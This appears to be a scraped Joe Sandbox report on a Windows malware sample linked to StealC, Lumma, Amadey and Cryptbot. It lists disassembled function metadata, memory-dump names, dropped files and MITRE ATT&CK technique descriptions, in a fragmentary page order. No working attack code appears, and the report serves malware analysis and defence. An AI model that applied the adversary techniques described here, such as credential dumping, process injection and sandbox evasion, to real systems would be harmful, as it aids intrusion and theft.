Instruction ID: fe7fe4bf9c6c0cc9098aabf0902a7eaaa01bc78d543bde2ac0897043b4c0b96b
Opcode Fuzzy Hash: bf14f4eec309dbed716097e62f537d6eb3b3d4acf65a2c9c83b61cc2035abb1b
Instruction Fuzzy Hash: 9ED05B7250031467DB20A7949C0DFC73A6CD705760F0001517655D2091DAB09F84CBD0

Function 0063D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0063D220

Strings

X64, xrefs: 0063D2A8
%.3d, xrefs: 0063D22B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 678bd5b2140ffa66409d47d5c19d761b72a8d435ae42efbdd6701fecb227b353
Instruction ID: f66ca8eb61149472140bc366383ee9600cec64ce8b47d144e208275b144f5edb
Opcode Fuzzy Hash: 678bd5b2140ffa66409d47d5c19d761b72a8d435ae42efbdd6701fecb227b353
Instruction Fuzzy Hash: 24D01261808109E9CB9096D0EC498BBB77EBB18301F608452FE06D1041EA38C7496BA1

Function 00672356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0067236C
PostMessageW.USER32(00000000), ref: 00672373

Part of subcall function 0064E97B: Sleep.KERNEL32 ref: 0064E9F3

Strings

Shell_TrayWnd, xrefs: 00672365

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: b68ddfe33813c13ad6354a23b068bfa06fb0faa9730f5a6381dabfa85edb654d
Instruction ID: aa4bf2fdb448f9a552c627e9d419d01c990f4b983b1f38d2f2c2f864770a21ed
Opcode Fuzzy Hash: b68ddfe33813c13ad6354a23b068bfa06fb0faa9730f5a6381dabfa85edb654d
Instruction Fuzzy Hash: 6ED0C932391310BAE7A8B770DC4FFC6A616AB05B20F01591AB649AA1D0C9A1A8418A58

Function 00672322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0067232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0067233F

Part of subcall function 0064E97B: Sleep.KERNEL32 ref: 0064E9F3

Strings

Shell_TrayWnd, xrefs: 00672325

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 85a5de277aba9fbae7b995d831756d062f948fc94cbd7821f18b95a736b6ca0e
Instruction ID: b4e6d1c649075270b75497f5c6b6f4b409af4abaee2f5029440718c9acb8d79b
Opcode Fuzzy Hash: 85a5de277aba9fbae7b995d831756d062f948fc94cbd7821f18b95a736b6ca0e
Instruction Fuzzy Hash: 52D01236394310B7E7A8B770DC4FFC6BA16AB00B20F01591EB749AA1D0C9F1A841CE54

Function 0061BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 0061BE93
GetLastError.KERNEL32 ref: 0061BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0061BEFC

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: e1eef147a70186d5f1eda04b1aa7ff8b2654b53bd095404d3b1e938ba3647ebf
Instruction ID: 7bd17c590e08b2e8f654d97dc48e3bfd0288ea3439cbfe15809cc0e4dbd38485
Opcode Fuzzy Hash: e1eef147a70186d5f1eda04b1aa7ff8b2654b53bd095404d3b1e938ba3647ebf
Instruction Fuzzy Hash: F541E734600206AFCF258FA5CC44AFA7BA7EF41360F18916DF959972E1DB308D82CB50

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA53A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA6E1.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA730.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Windows Analysis Report
file.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre